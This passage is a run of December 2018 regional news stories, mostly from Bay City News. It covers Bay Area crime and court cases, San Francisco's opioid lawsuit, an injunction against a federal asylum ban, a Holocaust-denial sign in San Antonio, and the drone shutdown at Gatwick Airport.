suspect, but he was captured on surveillance video and the department has released two images from the footage. Anyone who recognizes the suspect is asked to contact police at their 24-hour anonymous tip line at (415) 575-4444 or to text TIP411 with "SFPD" in the beginning of the message. Tips can also be sent to SFPDtenderloinstation@sfgov.org. Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. The city of San Francisco has joined more than 1,200 other cities, counties and other groups in suing prescription drug makers and distributors in federal court for their alleged role in the nation's opioid epidemic. San Francisco filed its lawsuit in federal court in San Francisco on Tuesday, accusing the companies of fraudulent practices, negligence, conspiracy, creation of a racketeering enterprise and public nuisance. The case is expected to be transferred to a federal court in Ohio, where U.S. District Judge Dan Polster of Cleveland is coordinating more than 1,200 similar lawsuits filed nationwide by cities, counties, states, Native American tribes, unions and other organizations. Other Northern California counties that previously filed cases that have been transferred to Polster's court include Marin, Monterey, Napa and San Mateo counties. San Francisco's 162-page lawsuit accuses drug makers such as Purdue Pharma L.P. of Stamford, Conn., of misleading doctors and patients about the dangers of pain-killing opioid drugs such as OxyContin, oxycodone and fentanyl. It accuses distribution companies of failing to effectively monitor and report suspicious sales of the drugs as required by state and federal laws. The distributors named as defendants include San Francisco-based McKesson Corp., Cardinal Health Inc. of Dublin, Ohio, and AmerisourceBergen Corp. of Chesterbrook, Pa. The three companies together account for most of the wholesale distribution of prescription drugs to pharmacies, hospitals and clinics. The Healthcare Distribution Alliance, a trade association for the companies, responded to the lawsuit today by saying the opioid epidemic would be better addressed by examination of the root causes rather than lawsuits. "The misuse and abuse of prescription opioids is a complex public health challenge that requires a collaborative and systemic response that engages all stakeholders," alliance Senior Vice President John Parker said in a statement. "Given our role, the idea that distributors are responsible for the number of opioid prescriptions written defies common sense and lacks understanding of how the pharmaceutical supply chain actually works and is regulated," Parker said. The alliance said the distributors don't prescribe the drugs or make medical decisions and do report opioid shipments to the U.S. Drug Enforcement Administration. San Francisco's lawsuit asks for financial compensation for the costs of treating opioid addiction and an injunction halting the alleged false marketing and failure to report suspicious sales. It says that prescription opioid overdoses caused 200,000 deaths in the United State between 1999 and 2016 and more than 2,190 deaths in California alone in 2017. In proceedings in the federal court in Ohio, Polster has scheduled an initial trial for September 2019 on lawsuits filed by Cleveland, Akron and two Ohio counties. In a ruling today, Polster rejected a bid by the drug makers and distributors for dismissal of racketeering, conspiracy and negligence claims in the lawsuits. The judge wrote, "It is accurate to describe the opioid epidemic as a man-made plague, 20 years in the making. The pain, death, and heartache it has wrought cannot be overstated." Polster said the plaintiffs "have made very serious accusations" in alleging that the defendant companies "have contributed to the addiction of millions of Americans to these prescription opioids." "Whether plaintiffs can prove any of these allegations remains to be seen, but this court holds that they will have that opportunity," Polster wrote. Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. SAN FRANCISCO (BCN) A suspended San Francisco police officer who faces administrative charges of sending racist text messages has now been criminally charged in federal court with robbing a bank in the city on Nov. 29, according to the U.S. Attorney's Office. Rain Daugherty, 44, was arrested on Tuesday, according to U.S. Attorney's Office spokesman Abraham Simmons. Daugherty was charged in a criminal complaint in federal court in San Francisco today with one count of bank robbery. Daugherty made an initial appearance before U.S. Magistrate Sallie Kim today and is due to return to Kim's court on Friday for a hearing on whether he should be granted bail while awaiting trial. He is currently being held in custody. In an affidavit filed with the complaint, FBI Agent Gary Grzymala alleges that a man matching Daugherty's description approached a teller at an East West Bank branch in the Sunset District on Nov. 29 with a note demanding $50 and $100 bills. The robber allegedly told the teller to "calm down, just do it," and was given $9,050. Daugherty was later identified as the suspect by another teller and by two San Francisco police officers who viewed a surveillance tape, the affidavit said. The bank robbery charge carries a possible maximum sentence of 20 years in prison if Daugherty is convicted. Daugherty is one of nine present and former officers who were accused in administrative disciplinary charges in 2015 of sending racist, sexist, homophobic and anti-Semitic text messages in 2011 and 2012. The messages came to light during the federal prosecution of former Sgt. Ian Furminger on charges related to the theft of money and property from drug suspects. The disciplinary proceedings against Daugherty and the eight others were delayed when they claimed in a lawsuit that the charges were filed after a one-year deadline. The proceedings were put back on track this year after a state appeals court ruled in May that the deadline wasn't violated and the California Supreme Court turned down the officers' appeal in September. At the time the disciplinary charges were filed, San Francisco police said Daugherty and the other officers were placed in positions in which they had no contact with the public. Grzymala said in the affidavit that Daugherty is currently suspended without pay because of an unrelated ongoing criminal investigation in San Mateo County. San Francisco police spokesman Officer Robert Rueca confirmed that Daugherty is on "unpaid status with the department." Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. SANTA CRUZ (BCN) Police are conducting an investigation after a custodian found threatening handwriting at Mission Hill Middle School in Santa Cruz on Tuesday. Officers are not releasing the content of the message, but said it was a threat of violence written on a bathroom stall in the school at 425 King St. Police said it is isolated to the middle school and likely isn't credible. Police will be present at the campus on Thursday and at other city campuses throughout the day out of "an abundance of caution." Officers said they will update students, parents and the school if they receive further information. "It is important to talk to our children about safety and the need to speak up to police or administrators if they heard or saw anything that concerns them," Police Chief Andrew Mills said in a news release. Anyone with information is asked to call police at (831) 420-5820. Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. A traffic officer with the Oakland Police Department will hand out toys to children 12 years old and younger in the city today as part of the 12th annual Operation Motor Santa, police said. The distribution will start at 7 a.m. at the Eastmont Police Substation as an officer dressed as Santa Claus rides a motorcycle and hands out toys to the children. The substation is located at 2651 73rd Ave. in Oakland. Other officers will accompany the Santa Claus-dressed officer and all will travel from East Oakland to West Oakland to North Oakland. The distribution will end when the officers run out of toys. A mother from Yemen has arrived at San Francisco International Airport on her way to see her son who is on life-support at UCSF Benioff's Children's Hospital Oakland. At about 8 p.m. Wednesday, Shaima Swileh arrived at SFO where a news conference was held because of the public outcry over the delay in processing a waiver for her visit to the U.S. Yemeni citizens are currently banned from entering the U.S. because of the alleged national security threat from that country. Swileh's son Abdullah, who is 2-years-old and from Stockton, is suffering from a genetic brain condition. Officials with the Council on American-Islamic Relations said it has been critical to get Swileh to the U.S. because her son may not have been able to withstand life support much longer. A suspended San Francisco police officer who faces administrative charges of sending racist text messages has now been criminally charged in federal court with robbing a bank in the city on Nov. 29, federal prosecutors announced. The announcement was made Wednesday. Rain Daugherty, 44, was arrested on Tuesday, according to U.S. Attorney's Office spokesman Abraham Simmons. Daugherty was charged in a criminal complaint in federal court in San Francisco on Wednesday with one count of bank robbery. Daugherty made an initial appearance before U.S. Magistrate Sallie Kim on Wednesday and is due to return to Kim's court on Friday for a hearing on whether he should be granted bail while awaiting trial. He is currently being held in custody. In an affidavit filed with the complaint, FBI Agent Gary Grzymala alleges that a man matching Daugherty's description approached a teller at an East West Bank branch in the Sunset District on Nov. 29 with a note demanding $50 and $100 bills. The robber allegedly told the teller to "calm down, just do it," and was given $9,050. Daugherty was later identified as the suspect by another teller and by two San Francisco police officers who viewed a surveillance tape, the affidavit said. San Francisco Mayor London Breed has confirmed she has asked outgoing Gov. Jerry Brown to reduce the prison sentence of her brother--who is currently in prison for a manslaughter conviction. Breed confirmed on Wednesday that she made the request. According to court documents, Breed's brother Napoleon Brown was initially convicted in 2005 of murder, robbery and carjacking and sentenced to 44 years in prison. But in 2011 his murder charge was amended to involuntary manslaughter and his sentenced was reduced to 42 years. The charges stem from a robbery in June 2000 of a San Francisco restaurant, in which 25-year-old Lenties White was pushed out of the getaway vehicle on the Golden Gate Bridge. White was subsequently struck by a vehicle and killed. But before she died, according to the court documents, she named Brown as her killer. Brown, now 46, is serving his sentence at California State Prison, Solano in Vacaville and won't be eligible for parole until 2032, according to prison records. Speaking Wednesday at the reopening of a public housing complex in the city's North Panhandle area, Breed said, "My thoughts go out to the family of Lenties White. I know members of the family; I'm very close with them. I know that the situation has sadly opened up a lot of old wounds and it's a tragic situation. A federal judge in San Francisco has issued a preliminary injunction blocking President Donald Trump's partial ban on asylum seekers who enter at the United States' southern border. The judge entered his ruling Wednesday. The restriction, issued by Trump in a proclamation on Nov. 9, would allow asylum applications only from immigrants who enter the United States at official entry points along the Mexican border. U.S. District Judge Jon Tigar ruled in a lawsuit filed by four refugee assistance organizations led by the Berkeley-based East Bay Sanctuary Covenant. The judge wrote, "Plaintiffs have established an overwhelming likelihood that the new rule barring asylum is invalid." Tigar had issued a temporary restraining order on Nov. 19, which halted the ban, and that order expired Wednesday. Unless the government successfully appeals or obtains a stay, the preliminary injunction will remain in effect for at least several months until the case is resolved through either a full trial or a summary judgment ruling. Tigar scheduled a hearing on March 19 to discuss the next steps in the case. A man was shot to death Tuesday night by the owner of a Concord home, police have announced. The announcement came Wednesday. Officers responded at 9:20 p.m. to a home in the 4600 block of Phoenix Street after the homeowner called 911. When officers arrived they went to the backyard of the home where they found a man suffering from a gunshot wound. The man was pronounced dead there, police said. The homeowner told police the man tried to get into his home and he shot the man because he feared for his life. Police said the homeowner stayed at the home and spoke with investigators and was not arrested. A felony suspect has been arrested after crashing a vehicle on state Highway 37, the Sonoma County Sheriff's Office said. The person, who was fleeing American Canyon police, jumped into the water off Highway 37 Wednesday afternoon, sheriff's spokesman Sgt. Spencer Crum said. The activity was reported on social media by the sheriff's office at 3:21 p.m. A California Highway Patrol helicopter responded and lowered a basket to retrieve the person from the water and the suspect was taken into custody, Crum said. Highway 37 near Skaggs Island Road was closed until the person was taken from the water, according to the sheriff's office. A man found dead in a vehicle in Mountain View on Friday has been identified as 28-year-old William Opeta of Tracy, according to the Santa Clara County medical examiner's office. Friends and family remembered Opeta on Facebook this last weekend, saying he was humble, talented and would be missed deeply. He was located at about 9:30 a.m. Friday in the parking lot of a McDonald's at 952 El Monte Ave. Days later, his loved ones set up a candlelight vigil with his portrait where the car had been parked. Police did not provide any information about Opeta's condition when he was found, but said there was no threat to public safety. Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. SAN FRANCISCO (BCN) A federal judge in San Francisco today issued a preliminary injunction blocking President Donald Trump's partial ban on asylum seekers who enter at the United States' southern border. The restriction, issued by Trump in a proclamation on Nov. 9, would allow asylum applications only from immigrants who enter the United States at official entry points along the Mexican border. U.S. District Judge Jon Tigar ruled in a lawsuit filed by four refugee assistance organizations led by the Berkeley-based East Bay Sanctuary Covenant. The judge wrote, "Plaintiffs have established an overwhelming likelihood that the new rule barring asylum is invalid." Tigar had issued a temporary restraining order on Nov. 19, which halted the ban, and that order expired today. Unless the government successfully appeals or obtains a stay, the preliminary injunction will remain in effect for at least several months until the case is resolved through either a full trial or a summary judgment ruling. Tigar scheduled a hearing on March 19 to discuss the next steps in the case. Tigar said Trump's rule violates "the will of Congress" in a four-decades-old federal law that allows asylum applications from people who have entered the United States at any point, "whether or not at a designated port of entry." The judge wrote that the arguments by both sides are nearly identical to those made last month, but said, "If anything, the inconsistency between the new regulation and the immigration laws has been stated more clearly. "The harms to those seeking asylum are also even clearer, and correspondingly the public interest more plainly supports injunctive relief," the judge said. On another track in the case, the U.S. Department of Justice last week asked the U.S. Supreme Court to stay the temporary restraining order while the case proceeds. The department filed that request after the 9th U.S. Circuit Court of Appeals in San Francisco declined to grant a stay. The high court had not acted as of this evening. Spokespersons for the Justice Department were not immediately available for comment. Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. In the wake of three deaths involving Taser stun gun deployments by law enforcement officers in San Mateo County this year, the county Board of Supervisors voted at its meeting on Tuesday to hold an upcoming public forum on Tasers. The three deaths involving different law enforcement agencies -- particularly the death of Chinedu Okobi, who was Tased by five San Mateo County sheriff's deputies on Oct. 3 -- have prompted calls for a moratorium on the use of Tasers in the county. While the board has now committed to hosting a public discussion about Tasers at some point, it can't impose such a moratorium and has little power to affect how Tasers will be used in the county. The sheriff's office sets policy on its own, as do local city police departments. The board does set the sheriff's budget, however, and approved a contract earlier this month to purchase body-worn cameras from Axon, the same company that makes Tasers. Until now, San Mateo County sheriff's deputies have not worn body cameras. The public forum has not yet been scheduled. A federal judge in San Francisco said this morning he will decide by the end of the day today whether to issue a preliminary injunction that would continue blocking a partial asylum ban by President Donald Trump. U.S. District Judge Jon Tigar last month issued a temporary restraining order halting the ban, but that order will expire at midnight. Four refugee assistance groups led by the East Bay Sanctuary Covenant asked Tigar at a hearing today to convert the temporary order to a longer-lasting preliminary injunction, which would continue until the case is resolved by a trial or a summary judgment. The partial ban, issued in a proclamation by Trump on Nov. 9, would allow asylum applications only from people who enter the U.S. at official entry points at the border with Mexico. State Sen. Steve Glazer, D-Orinda, is demanding that BART be levied a maximum fine for violating state laws to support its bond measure in 2016. The senator is demanding that the Fair Political Practices Commission levy a maximum fine after it found BART used public funds for political purposes in support of Measure RR, a $3.5 million bond measure passed in November 2016 to fund repairs and improvements on its transit system. The commission has proposed a fine of $7,500 to be approved at its meeting at 10 a.m. Thursday in Sacramento. According to the commission, BART can be fined as much as $33,374.98 for its violations. Glazer wants the maximum fine allowable in order to send a message to BART and other public agencies about misusing public funds. The senator has been a vocal critic of BART operations dating back to the strike that shut down train service in 2013 and questioned the agency's commitment to fiscal responsibility in the months leading up to the vote on Measure RR in 2016. A Fremont man has been arrested and charged with murder for the fatal shooting of a 17-year-old San Ramon high school student in a marijuana deal gone wrong in Fremont two weeks ago, police said today. Christian Kelling, 21, was selling marijuana to Damani Chadly and Chadly's 19-year-old friend in the 34000 block of Torrington Court in Fremont's Northgate neighborhood shortly after 11:15 p.m. on Dec. 4 when a dispute occurred that prompted Kelling to fire several rounds into the vehicle that Chadly and his friend were traveling in, according to Fremont police Lt. Mike Tegner. Chadly and his friend were struck multiple times and Chadly was pronounced dead at the scene at 11:35 p.m. that night, police said. Chadly's 19-year-old friend was transported to a hospital to be treated for his injuries but was later released. Tegner said a search of Fremont's community cameras revealed that about eight minutes after the shooting, a 2013 Honda Civic associated with Kelling was captured traveling north on Fremont Boulevard at Enea Court, which he said is the most direct route from the shooting scene to the nearest freeway. A no-bail warrant for the arrest of Kelling on charges of murder and attempted murder was signed by a judge and he was arrested by a U.S. Marshals team at a home in Pflugerville, Texas, at about 5:30 p.m. on Dec. 12. A 33-year-old man was fatally struck by a vehicle in Fremont on Tuesday night, police said today. The collision was reported at 10:05 p.m. in the area of Fremont Boulevard and Clough Avenue. Officers arrived to find paramedics were already at the scene to treat the pedestrian, a Mountain View resident who was suffering from major injuries and succumbed to his injuries at the scene. The man's name is not yet being released by the Alameda County coroner's bureau. The vehicle driver, a 53-year-old Fremont woman, remained at the scene and cooperated with investigators. Police have not determined if the pedestrian was in the crosswalk when he was struck. A double shooting turned fatal Tuesday night in Richmond, according to police. Officers responded to a ShotSpotter gunshot detection system activation in the 2500 block of Andrade Ave at 10:52 p.m., and while en route a witness called police to report that a shooting had occurred. They found two men suffering from gunshot wounds at the scene, one of whom was unresponsive. He died at the scene. The survivor was transported to a hospital and was listed in critical condition today, according to police Lt. Matt Stonebraker. Suspect information or a potential motive in the shooting have not yet been released. A federal grand jury has returned a superceding indictment in a case in which three men are charged with conspiring to murder a man in East Oakland in 2016, according to the U.S. Attorney's Office. The indictment filed in federal court in San Francisco on Tuesday alleges that Marcus Etienne conspired with Mario Robinson and Burte Gucci Rhodes to murder 28-year-old Trince Thibodeaux of Los Gatos in the 8900 block of International Boulevard at about 10:15 p.m. on March 22, 2016, prosecutors said. The indictment alleges that Rhodes, 37, of Oakland, shot and killed Thibodeaux and was promised $5,000 was promised in exchange for the murder. Prosecutors said the indictment charges Etienne, who's also known as "Hitler," Robinson, 35 of Oakland, and Rhodes, who's also known as "Moeshawn," with murder-for-hire, a number of firearm and drug distribution offenses and related crimes. Etienne, 37, of Opelousas, Louisiana, and Robinson also are charged with racketeering conspiracy, according to the U.S. Attorney's Office. A man who was killed in a collision between a passenger vehicle and a box truck in Union City early Tuesday morning was identified by the Alameda County coroner's bureau today as 37-year-old Mansoor Jan of Dublin. Union City police said Jan was the driver of the passenger vehicle that collided with the box truck at the intersection of Whipple Road and Dyer Street at 4:21 a.m. Tuesday. They said Jan was taken to a hospital after the collision and died there. The truck driver remained at the scene and cooperated with investigators, according to police. A man had his Ford Mustang impounded after a traffic stop by the California Highway Patrol on Tuesday evening after officers discovered he was covering both of his vehicle's license plates with a receipt from Safeway. The suspect was pulled over before 8 p.m. on southbound U.S. Highway 101 just north of Sir Francis Drake Boulevard when an officer noticed the vehicle with a partially obstructed license plate, according to the CHP. CHP officials said the suspect's receipt for a pound of teriyaki chicken wings was from earlier in the day Tuesday, and covered the first two digits of his license plates. The CHP said officers in the area sometimes encounter motorists with obstructed plates who are trying to avoid tolls. The motorist, whose name was not released, was cited for driving on a suspended license and driving with an obstructed license plate. Police on Tuesday released more information about a vehicle involved in a hit-and-run collision last week that killed a 58-year-old woman in San Francisco. San Francisco resident Teresita Collins died at San Francisco General Hospital following the Dec. 12 collision at Bush and Leavenworth streets. According to police, investigators have determined the vehicle that fled the collision is a dark-colored 2007 or 2008 Honda Fit. Investigators believe the car sustained front-end damage and are also asking employees of auto body shops in the area to beware of anyone bringing in a vehicle that fits that description. Last week, police released surveillance video of the hit-and-run. In the video, the suspect vehicle comes into the frame from the right and then stops. The suspect, who appears to be a female, gets out and walks to the back of her car and appears to look back down toward the intersection, but then returns to the car before driving away. Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. SANTA ROSA (BCN) A woman allegedly stole a delivery truck near an elementary school in the Roseland area of Santa Rosa this morning and was arrested after she crashed into a ditch during a slow three-minute police pursuit, a police sergeant said. The driver of an Alsco linen and office supply delivery service left the truck running or the keys in the ignition while he went inside an elementary school to make a delivery around 7:15 a.m., Sgt. Jeneane Kucker said. The woman drove away in the truck and headed to east Santa Rosa where police officers located it at Farmers Lane and Fourth Street, Kucker said. The driver refused to yield to a traffic stop and drove about 30 mph before a police patrol car caused the truck to spin out into a ditch near Mission Boulevard and Sherbrook Drive, according to Kucker. The woman suffered minor injuries and was taken to a hospital where she was placed in custody, Kucker said. Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. A mother from Yemen arrived tonight at San Francisco International Airport on her way to see her son who is on life-support at a children's hospital in Oakland. At about 8 p.m. Shaima Swileh arrived at SFO where a news conference was held because of the public outcry over the delay in processing a waiver for her visit to the U.S. Yemeni citizens are currently banned from entering the U.S. because of the alleged national security threat from that country. Swileh's son Abdullah, who is 2-years-old and from Stockton, is suffering from a genetic brain condition. Officials with the Council on American-Islamic Relations said it has been critical to get Swileh to the U.S. because her son may not have been able to withstand life support much longer. The boy's father and Swileh's husband Ali Hassan brought the boy to California to get medical care for his condition because it was worsening. At the news conference two apparent supporters of Swileh said the waiver process in the United States is a "sham." One apparent supporter said that since U.S. officials eventually approved the waiver there was no issue with Swileh's request. Swileh apparently applied 17 months ago for a waiver and over a year ago she was told she was going to be considered for one. Swileh apparently emailed the embassy 28 times begging for help as her son grew sicker, supporters said. The U.S. Department of State granted the waiver Tuesday. Rep. Barbara Lee, D-Oakland, said in a statement Tuesday, before the waiver was granted, "As a mother myself, I am stunned by the cruelty of barring a mother from reuniting with her sick child. The case of Shaima Swileh shows clearly the damage wreaked on families across the country by the Trump administration's un-American travel ban." Lee and two other members of Congress wrote a letter Tuesday to U.S. Secretary of State Mike Pompeo, requesting an expedited waiver. Rep. Jerry McNerney, D-Antioch/Stockton, and Rep. Doris Matsui, D-Sacramento, were the other members of Congress. Copyright 2018 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited. A yard sign displaying two of President Donald Trumps oft-used phrases, Fake News, and #MAGA with an arrow pointing to the marquee of the Holocaust Memorial Museum of San Antonio was removed Tuesday morning from the Campus of the San Antonio Jewish Community, officials said. The sign was placed so its arrow pointed to the museums freestanding marquee. It was discovered by groundskeepers at about 7 a.m. Tuesday. Its clearly a statement of Holocaust denial, said Ronit Sherwin, CEO of the Jewish Federation of San Antonio, which operates the museum. She said the federation does not know who put up the sign but reported the incident to authorities. Though obscured by the mornings dense fog, the sign was in view long enough for word to spread, upsetting members of a community already shaken by national anti-Semitic incidents and the October mass shooting of a Pittsburg synagogue that claimed 11 lives. In a statement, the federations board chair Harry Levy called it an act of vandalism against the Jewish community, doubly harmful in that it laughs at the memory of all the millions of Jews who died in the Holocaust and is harmful to the precious few Holocaust survivors who witnessed the horrors of the Shoah first hand. The ignorance expressed by the perpetrators can only be countered by shining the light of truth upon our shared history, Levy said. The museum often showcases the personal testimonies of several Holocaust survivors who live in San Antonio. Busloads of local students have heard them speak. The San Antonio Police Department said officers were called to the campus at Wurzbach Parkway and Northwest Military Highway at 7:45 a.m. for what was described as threats. A report was not available. Besides the Jewish Federation, the campus contains the Jewish Community Center and Jewish Family Services. In a statement Tuesday, the Muslim Children Education and Civic Center condemned the signs placement at the Jewish campus in the strongest terms, calling it an insulting, demeaning, and dehumanizing incident. Trumps catch phrases, including MAGA for Make America Great Again, have been popularized by his supporters at rallies and on social media. Using the slogans to deny that the Holocaust happened should disturb even his most ardent supporters, said Aaron Delwiche, a professor of communication at Trinity University. The term fake news originally referred to completely fabricated news stories appearing in phony publications that dont actually exist, he said via email. During the past two years, President Trump has used this phrase as a name-calling device designed to discredit news coverage that he considers to be unfairly critical of his administration. This anti-Semitic incident is a reminder that this sort of rhetoric has consequences, Delwiche added. The Holocaust was not fake news. It is time for all of us, on all sides of the political spectrum, to insist on facts, evidence, and logic when talking about politics. In 2015, several incidents of anti-Semitic graffiti targeted the Jewish community in San Antonio. They included spray-painted swastikas and racial slurs that vandalized homes, cars and other items in a Jewish neighborhood surrounding a synagogue on the citys Northwest Side. Elaine Ayala covers religion and minority affairs in the San Antonio and Bexar County area. Read her on our free site, mySA.com, and on our subscriber site, ExpressNews.com. | eayala@express-news.net | Twitter: @ElaineAyala LONDON Gatwick Airport, Britains second-busiest air hub, was shut down late Wednesday and into Thursday after a drone was seen flying illegally nearby, in what authorities said was a deliberate act to disrupt flights during one of the years busiest travel seasons. Arriving flights carrying 10,000 passengers were diverted because of the shutdown, Gatwick officials said, with some travelers forced to land at airports as far away as Paris. Departing flights were initially grounded from 9 p.m. Wednesday to around 3 a.m. Thursday. The airport, which is about 25 miles south of central London and connects passengers to 230 destinations in 70 countries, was shut again at 3:45 a.m. after another reported drone sighting. By 4 p.m. local time, the drone pilot, or pilots, had not been found and all travel in and out of the airport was still shut down. Airport officials said they expected the disruption to last into the weekend. The local police in Sussex, outside London, described the flying of a drone so close to the airport as a deliberate act, but said there were no indications to suggest this is terror related. Nonetheless, the Ministry of Defense had gotten involved by Thursday afternoon. We are deploying specialist equipment to Gatwick Airport to assist Sussex Police, a ministry spokesman said, declining to provide details. As part of an investigation with the Surrey police and the National Police Air Service, the Sussex police used Twitter to ask for the publics help in finding whoever was flying the drone, or drones. The police described the devices as of industrial specification. Gatwick and the airlines that use it advised passengers to check the status of flights before coming to the airport. A total of 760 flights carrying 115,000 passengers were scheduled to leave and arrive on Thursday. We are appealing for information to help us identify the operators of the #Gatwick #drones, the police wrote. Chris Woodroofe, the airports chief operating officer, told Sky News that two staff members first spotted a drone Wednesday night. Since then, the drone has appeared and disappeared and appeared and disappeared, he said. The last reported sighting was around 11 a.m. The scene at the airport terminals was one of bedlam as stranded passengers unable to make alternative plans with airlines by phone swamped ticket counters in the terminals. By the afternoon, many airlines were offering refunds rather than rescheduling flights because of the high demand. A spokeswoman for Heathrow Airport, which is Britains busiest and is also located in London, said it was heightening security in response to the events at Gatwick. We have increased patrols around our airport, she said. Amie Tang and Daniel Victor are New York Times writers. We use cookies to ensure that we give you the best experience on our website. This includes cookies from third party social media websites and ad networks. Such third party cookies may track your use on Sharedots sites for better rendering. Our partners use cookies to ensure we show you advertising that is relevant to you. If you continue without changing your settings, we'll assume that you are happy to receive all cookies on Sharedots website. However, you can change your cookie settings at any time. Learn more Sheriff Brian Hawthorne is proud to release this video of the heroic actions of two Chambers County Sheriffs Deputies. At approximately 8:33 p.m. on December 13, 2018, there was a major motor vehicle crash in the 3800 block SH 124, just south of Winnie. Upon arrival at this crash scene, Chambers County Deputies Braedon Boznango and Carlton Carrington found a vehicle fully engulfed in flames from the rollover crash. There was an unconscious male lying in the front seat with his abdomen and legs on fire. The two deputies approached the vehicle without regard for their own safety and began reaching inside the vehicle to rescue the sole occupant. Deputies Boznango and Carrington were able to pull the unconscious male through the door window opening and onto the ground. Both deputies were able to place the injured man into a nearby water puddle and extinguish all flames on his body. The male was airlifted to a Houston hospital in critical condition. Both deputies were uninjured during their rescue of this man, however, the intensity of this fire melted parts of their equipment while on their uniforms. Had these deputies not acted quickly, decisively and without total disregard for their own safety, the seriously injured man would have perished inside the vehicle. The attached video is a combination of three cameras, one in car and two body cameras. Credit: Chambers County Sheriff's Office STATEN ISLAND, N.Y.-- A Staten Island couple charged in connection with a fatal shooting at Hotel Richmond were arraigned separately Wednesday in Richmond County Criminal Court, where defense attorneys raised doubts as to who pulled the trigger. Jonathan Julio, 37, is being held without bail for charges that include second-degree murder, criminal possession of a weapon, assault and tampering with physical evidence. Prosecutors said Julio has 16 prior convictions, including six occasions on which he failed to appear in court. Krystal Isolda, 36, is being held on $250,000 bail for charges that include criminal possession of a weapon, hindering prosecution and tampering with physical evidence. An additional $15,000 bail was set in connection with an ongoing grand larceny case, for which police had issued a warrant for her arrest. Prosecutors allege Julio shot and killed James Johnson, 38, of Brooklyn, inside the St. George hotel room, while Isolda was in the room. At some point after exiting the building, Isolda allegedly aided in disposing of the gun on a public street, as the two fled the hotel where they had been living. Hotel workers told the Advance they heard arguing for hours inside the apartment, leading up to the incident. 6 Police investigating a homicide at the Richmond Hotel in St. George Isolda initially told investigators she had pulled the trigger, then turned the blame on Julio, prosecutors said. The defense requested video of detectives' interview with Isolda prior to a grand jury hearing. Theres a lot more to this case than immediately meets the eye, said defense attorney Gillian Kress, following the arraignment. We ask everyone keep an open mind until all of the facts come out. It is our job to ensure Mr. Julio gets a fair trial and thats what we intend to do." The defendants were on the run for about a week after the shooting, before members of the Staten Island Homicide Squad and New York-New Jersey Regional Fugitive Task Force caught up with them Tuesday in front of a strip mall in Mariners Harbor, according to prosecutors and an NYPD spokesman. STATEN ISLAND, N.Y. -- Pleasant Plains native Matthew Iacovelli helped a New York City taxi find the Christmas spirit in a new creation, Dashing Through New York," currently on display at Rockefeller Plaza. As an assignment at the School of Visual Arts in Manhattan, the 21-year-old Iacovelli and his partner, Filipa Mota, designed a taxi-inspired sleigh, which is on display in the window of 75 Rockefeller Plaza. [We] built up the sleigh by starting with an original 150-year-old sleigh that we found on a farm in Pennsylvania, said Iacovelli. Im excited about it. Its a great opportunity to have one of my pieces right across from the Rockefeller tree. Matthew Iacovelli of Pleasant Plains created a Christmas sleigh inspired by the design of a New York City taxi. The work, titled Dashing Through New York," is on display at 75 Rockefeller Plaza until January 2019. (Courtesy of Matthew Iacovelli) The assignment, given by Professor Kevin OCallaghan, was to incorporate a noted factor of New York City into the sleigh design. This is the first time Iacovellis work has been featured in the window space, which is reserved for School of Visual Arts students to showcase their work each year. I picked a taxi design, because I think its the most iconic, he said. The design of the sleigh is based off of a 1970s New York City checkered cab. A graphic design and three-dimensional design major at the School of Visual Arts, Iacovelli currently lives on the Lower East Side. Before attending the school, he was a student of Totten Intermediate School and the High School of Art & Design in Manhattan. Dashing Through New York" is one of the over-the-top holiday exhibits on display at 75 Rockefeller Plaza through January. For more on Iacovelli, visit matoveli.com or follow him on Instagram: @matoveli. CITY HALL -- A decision on the next fast ferry route may or may not be coming by the years end as planned, Mayor Bill de Blasio said Wednesday. But regardless of when the announcement comes, Borough President James Oddo remains optimistic the city will choose Staten Island. Earlier this year, the mayor said he would make a decision on where to add another route to the NYC Ferry system by the end of the year and was exploring different routes. On Wednesday, the mayor said he may have to stretch the year a little bit before making an announcement. He might make an announcement next week, he might not. But he also said the timing of the announcement was also tied to the citys upcoming budget announcement. Theres a possibility of an announcement before Dec. 31st, but I think its honestly going to be in the first or second week of January at this point, he said. Weve been dealing with a number of different issue, but I believe the success weve seen so far is impressive with the ferries, weve got a lot of parts that want ferry service, obviously it connects to our budget process. So, thats another thing were trying to be very careful about about the financial ramifications. Hizzoner held back saying whether or not he had a short list of sites. ODDO SUGGESTS LOCATIONS In October, Oddo gave the city a list of six potential Island fast ferry sites: Mt. Loretto off of Sharrott Ave; Crookes Point at Great Kills Park where fast ferry service was added after Hurricane Sandy; an idea to open up the end of New Dorp Lane and taking down old airplane hangers to run service there; a site in Stapleton that would connect to the East Side of Manhattan; a site in St. George that would run to the east side of Manhattan; or adding a line from Staten Island to Brooklyn. Of the six sites, Oddo thinks the city would most likely choose one of the North Shore sites. Despite the fact were on the outside looking in, and despite the recent history of us not being included in it, I think weve made the case and I think the mayor sees the need, Oddo said. I think the mayor sees the inherent unfairness of one borough being excluded, and I think theres a viable option in the list I gave him. In addition to the six sites he proposed to the city, Oddo said he is still in discussion with New York Waterway to add a private fast ferry service somewhere on the North Shore to the West Side of Manhattan. -- something he said Staten Islanders will likely be hearing more about in early 2019. Over the summer, the mayor said once the city's fast ferry program opened lines in Soundview and the Lower East Side, he would look at where the city could expand ferry service next. Following the mayors visit to the Island in July, Borough President James Oddo said de Blasio asked him and other elected officials to come up with a short list of potential South Shore sites for a new fast ferry. The mayor said he looked at a number of South Shore sites with local elected officials during his visit to the borough, which had "advantages" but also "real problems." The mayor also said the citys Economic Development Corp. is exploring potential sites on the Island as well. Last year, de Blasio has admitted he made a mistake when he called the city's fast ferry program a five-borough ferry plan De Blasio said that Staten Island was not included in the city's fast ferry system because the borough already has a ferry. In the meantime, Oddo has also been pushing for the borough to be added to the 